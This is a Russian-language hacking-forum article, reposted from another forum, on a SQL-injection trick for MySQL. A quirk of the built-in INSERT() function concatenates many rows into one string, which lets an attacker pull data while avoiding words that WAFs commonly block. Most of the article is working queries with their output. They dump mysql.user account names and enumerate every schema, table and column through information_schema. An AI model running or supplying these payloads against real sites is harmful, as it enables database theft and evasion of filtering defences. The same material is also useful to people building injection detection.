 |
|
ANTICHAT
> ИНФО
> Статьи
|
MySQL: Вытягивание записей в строку с использованием встроенной функции insert
|
|

20.09.2013, 22:34
|
|
Новичок
Регистрация: 04.12.2008
Сообщений: 11
С нами:
9176038
Репутация:
8
|
|
Вступление: Это статья является прямым копипастом статьи с rdot.org.
Все права на статью принадлежат NameSpace.
(Прим. BB : А вообще - это новый обалденный способ).
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
MySQL: Вытягивание записей в строку с использованием встроенной функции insert
Все вы знаете о выводе колонок MySQL-таблицы в одну строку, итак, встречаем - Четвертый метод! Но об этом немного позже, а сейчас вспомним то, что имеется на сегодняшний день.
Из статьи Dr.Z3r0: MySQL Injection [полный FAQ]
1. group_concat
+ Простое использование, небольшой размер
- Ограничение в 1024 символа
- Достаточно-распространенные в WAF блокируемые-слова: concat, group и _
2. BENCHMARK
+ Возможность отсутствия использования concat, group и _
- Большой размер
- Выборка по одной из уникальных колонк
- Спец-символы @ : = BENCHMARK
3. Неявный цикл в условии
+ Небольшой синтаксис
+ Отсутствие ограничений
- Спец-символы @ : =
А теперь новинка, использование бага функции insert(). Синтаксис функции достаточно простой:
Код:
INSERT(str,pos,len,newstr)
str - Изначальная строка
pos - Позиция
len - Длина
newstr - Новая строка
INSERT вставляет в str после pos с длиной len строку newstr:
insert('RDoT', 1, 2, 'DR') = DRoT
insert(':', 1, 0, 'RDoT') = RDoT:
Смотрим дальше, натыкаемся на интересную особенность:
Код:
mysql> SELECT insert(':', 1, 0, 'RDoT') from mysql.user;
+---------------------------+
| insert(':', 1, 0, 'RDoT') |
+---------------------------+
| RDoT: |
| RDoT: |
| RDoT: |
| RDoT: |
| RDoT: |
| RDoT: |
| RDoT: |
| RDoT: |
+---------------------------+
8 rows in set (0.00 sec)
mysql> SELECT insert(0x3A, 1, 0, 'RDoT') from mysql.user;
+-----------------------------------+
| insert(0x3A, 1, 0, 'RDoT') |
+-----------------------------------+
| RDoT: |
| RDoTRDoT: |
| RDoTRDoTRDoT: |
| RDoTRDoTRDoTRDoT: |
| RDoTRDoTRDoTRDoTRDoT: |
+-----------------------------------+
5 rows in set (0.00 sec)
Попробуем вставиnm rand():
Код:
mysql> SELECT insert(0x3A, 1, 0, rand()) from mysql.user LIMIT 5;
+----------------------------------------------------------------------------------------------+
| insert(0x3A, 1, 0, rand()) |
+----------------------------------------------------------------------------------------------+
| 0.4782688650100202: |
| 0.189468408179905650.4782688650100202: |
| 0.51253547660311260.189468408179905650.4782688650100202: |
| 0.99427218920949120.51253547660311260.189468408179905650.4782688650100202: |
| 0.43375454697176310.99427218920949120.51253547660311260.189468408179905650.4782688650100202: |
+----------------------------------------------------------------------------------------------+
5 rows in set (0.00 sec)
А если выводить данные?
Код:
mysql> SELECT user from mysql.user;
+------------------+
| user |
+------------------+
| root |
| root |
| |
| root |
| |
| debian-sys-maint |
| phpmyadmin |
| root |
+------------------+
8 rows in set (0.00 sec)
mysql> SELECT insert(0x3A, 1, 0, concat(user,0x3B)) from mysql.user;
+-----------------------------------------------------+
| insert(0x3A, 1, 0, concat(user,0x3B)) |
+-----------------------------------------------------+
| root;: |
| root;root;: |
| ;root;root;: |
| root;;root;root;: |
| ;root;;root;root;: |
| debian-sys-maint;;root;;root;root;: |
| phpmyadmin;debian-sys-maint;;root;;root;root;: |
| root;phpmyadmin;debian-sys-maint;;root;;root;root;: |
+-----------------------------------------------------+
8 rows in set (0.00 sec)
Идет склейка, правда с конца. WHERE или LIMIT отдать последнюю запись нам не помогут, но HAVING можно попробовать:
Код:
mysql> SELECT insert(0x3A, 1, 0, concat(user,0x3B))s from mysql.user having length(s) > 50; // Фильтр по количеству символов
+----------------------------------------------------------+
| s |
+----------------------------------------------------------+
| root;root;phpmyadmin;debian-sys-maint;;root;;root;root;: |
+----------------------------------------------------------+
1 row in set (0.00 sec)
mysql> SELECT concat(@a,count(*)) from mysql.user where @a:=insert(0x3A, 1, 0, concat(user,0x3B)); // Запись в WHERE и вывод с помощью переменной и функции группировки
+------------------------------------------------------+
| concat(@a,count(*)) |
+------------------------------------------------------+
| root;phpmyadmin;debian-sys-maint;;root;;root;root;:0 |
+------------------------------------------------------+
1 row in set (0.00 sec)
И самый козырный способ:
PHP код:
[COLOR="#000000"][COLOR="#0000BB"]SELECT insert[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]0x3A[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]concat[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]TABLE_SCHEMA[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]0x3B[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]TABLE_NAME[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]0x3B[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]COLUMN_NAME[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]0x0A[/COLOR][COLOR="#007700"]))[/COLOR][COLOR="#0000BB"]s from information_schema[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]columns ORDER BY s[/COLOR][COLOR="#007700"]*[/COLOR][COLOR="#0000BB"]0 LIMIT 1[/COLOR][COLOR="#007700"];
...
[/COLOR][COLOR="#0000BB"]information_schema[/COLOR][COLOR="#007700"];[/COLOR][COLOR="#0000BB"]COLUMNS[/COLOR][COLOR="#007700"];[/COLOR][COLOR="#0000BB"]EXTRA
information_schema[/COLOR][COLOR="#007700"];[/COLOR][COLOR="#0000BB"]COLUMNS[/COLOR][COLOR="#007700"];[/COLOR][COLOR="#0000BB"]COLUMN_KEY
information_schema[/COLOR][COLOR="#007700"];[/COLOR][COLOR="#0000BB"]COLUMNS[/COLOR][COLOR="#007700"];[/COLOR][COLOR="#0000BB"]COLUMN_TYPE
information_schema[/COLOR][COLOR="#007700"];[/COLOR][COLOR="#0000BB"]COLUMNS[/COLOR][COLOR="#007700"];[/COLOR][COLOR="#0000BB"]COLLATION_NAME
information_schema[/COLOR][COLOR="#007700"];[/COLOR][COLOR="#0000BB"]COLUMNS[/COLOR][COLOR="#007700"];[/COLOR][COLOR="#0000BB"]CHARACTER_SET_NAME
information_schema[/COLOR][COLOR="#007700"];[/COLOR][COLOR="#0000BB"]COLUMNS[/COLOR][COLOR="#007700"];[/COLOR][COLOR="#0000BB"]NUMERIC_SCALE
information_schema[/COLOR][COLOR="#007700"];[/COLOR][COLOR="#0000BB"]COLUMNS[/COLOR][COLOR="#007700"];[/COLOR][COLOR="#0000BB"]NUMERIC_PRECISION
information_schema[/COLOR][COLOR="#007700"];[/COLOR][COLOR="#0000BB"]COLUMNS[/COLOR][COLOR="#007700"];[/COLOR][COLOR="#0000BB"]CHARACTER_OCTET_LENGTH
information_schema[/COLOR][COLOR="#007700"];[/COLOR][COLOR="#0000BB"]COLUMNS[/COLOR][COLOR="#007700"];[/COLOR][COLOR="#0000BB"]CHARACTER_MAXIMUM_LENGTH
information_schema[/COLOR][COLOR="#007700"];[/COLOR][COLOR="#0000BB"]COLUMNS[/COLOR][COLOR="#007700"];[/COLOR][COLOR="#0000BB"]DATA_TYPE
[/COLOR][COLOR="#007700"]...[/COLOR][/COLOR]
+ Небольшой размер, отсутствие ограничений, использования подзапросов
+ Полное отсутствие запрещенных слов и символов(Вместо concat можно тот-же insert для склейки использовать)
- Запятая, скобки, from - Без них не обойтись
Вместо ORDER BY s*0 можно использовать ORDER BY-s, работает достаточно-быстро.
UPD. Еще к интересному моменту - работает не только если первый аргумент представлен в HEX, но и если это пустая строка:
Код:
SELECT INSERT('', 1, 0, CONCAT(user,0 x3a)) FROM mysql.user;
(c) profexer
Проверено на MySQL 5.1, 5.5
|
|
|
|
Предыдущая тема
Следующая тема
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|